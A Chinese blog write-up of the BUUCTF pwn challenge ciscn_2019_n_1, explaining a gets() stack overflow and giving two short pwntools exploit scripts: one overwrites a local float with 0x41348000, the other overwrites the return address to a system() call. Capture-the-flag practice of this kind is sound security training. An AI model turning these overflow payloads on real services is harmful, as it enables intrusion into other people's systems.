[BUUCTF-pwn]——ciscn_2019_n_1
[BUUCTF-pwn]——ciscn_2019_n_1
- [BUUCTF-pwn]——ciscn_2019_n_1
- 思路一 —— 覆盖局部变量
- 思路二 —— 覆盖返回地址
- 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_1
- 题目:
老规矩下载下来后,在Linux上checksec一下,64位,并且没有开启栈保护,意味着我们可以利用栈溢出
在IDA中看一下,main函数里面没有什么可以利用的
双击func函数看看,就是我们想要的。
思路一 —— 覆盖局部变量
我们只需要让v2的值等于11.28125即可。而v2又没有办法直接输入,但是v1是利用gets这个典型的栈溢出函数输入的。v2和v1之间的距离为0x30 - 0x4。下面我们只需要计算一下11.28125的16进制储存方式就好。
11.28125 转换为二进制为 1011.01001
11.28125 在计算机内部储存为 0100 0001 0011 0100 1000 0000 0000 0000
即11.28125 ==> 0x41348000
也可以用代码计算
#include <stdio.h>
int main()
{float a = 11.28125;unsigned char *p = (unsigned char*)&a;printf("0X%02x%02x%02x%02x",(int)p[3],(int)p[2],(int)p[1],(int)p[0]);return 0;
}
这个思路的exploit就是
from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ans = 0x41348000
payload = 'a'*(0x30 - 0x4) + p64(ans)
p.sendline(payload)
p.interactive()
思路二 —— 覆盖返回地址
找到func函数,在里面找到system函数的位置,覆盖返回地址。找到system函数压参数的位置0x4006BE,v1距离ebp 0x30,ebp8个字节。
所以该思路的expolit可以这样写
from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0x4006BE
payload = 'a'*(0x30 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()
总体来说,两个思路都很简单,不过第一个需要算那个十六进制有点麻烦,还百度查看了一下,浮点数的储存。
有帮助就点个赞呀
[BUUCTF-pwn]——ciscn_2019_n_1相关推荐
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- BUUCTF PWN 刷题 1-15题
1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...
- pwn——ciscn_2019_n_1#pwn1_sctf_2016#jarvisoj_level0
文章目录 ciscn_2019_n_1 题目 解答 pwn1_sctf_2016 题目 解答 jarvisoj_level0 题目 解答 知识点 ciscn_2019_n_1 题目 题目链接:http ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
最新文章
- 特殊权限控制之SUID、SGID、Sticky及facl
- 快速定位java系统的线上问题--转
- qt geomery的单位是什么_斜管沉淀池的原理是什么?
- 11月16日站立会议
- .NET 5.0 RC 2 发布,正式版将在 11 月 .NET Conf 大会上发布
- 如何在Python中表示一个无限数?
- puppet详解(八)——puppet自动化
- 纵坐标是横的还是竖的_通感在书法“竖”中的运用,详解竖的知识和技法(硬笔为例)...
- oracle分析函数——rollup和cube
- linux 查看登录记录,Linux查看用户登陆历史记录
- php如何用sql语句修改数据库,SQL语句进行数据表的增删改查教程(phpMyAdmin使用教程)...
- java 判断文章的重复率_如何统计文件重复率
- MaxScript分享|FBX骨架转Bip骨架脚本 动画无缝转换 (通吃Max9-2016版本)
- 【蓝桥杯】CT107D开发板没有操作的led灯频闪、暗亮问题,蜂鸣器咔咔响
- 软考高级 真题 2015年上半年 信息系统项目管理师 综合知识
- visio修改默认字体
- 安卓手机投屏到电脑的问题可以通过一个神器解决
- 最简单的飞机大战小游戏(C语言实现)
- 2021年全球乳酸乙酯收入大约88百万美元,预计2028年达到109.3百万美元
- 2022年最好的谷歌浏览器扩展程序
热门文章
- 网络安全-windows批处理
- 《统计自然语言处理》读书笔记 一.基础知识及概念介绍
- Swift之深入解析如何使用Xcode和LLDB v2修改UI元素
- RxSwift之环境的搭建配置与基础控件的使用
- 某公司有一台打印、复印一体机,需要将购买成本分年均摊到隔年的费用中。请编写一个程序,根据用户输入的购买金额和预计使用年限计算每年的分摊费用。要求对输入异常进行适当的处理。
- DSP SCI模块实验
- 【Linux】一步一步学Linux——虚拟机简介和系统要求(04)
- 【SSL协议】SSL协议详解
- c++向量和数组的区别_向量,矩阵和张量的导数 | 简单的数学
- muduo网络库学习(一)对io复用的封装Poller,面向对象与基于对象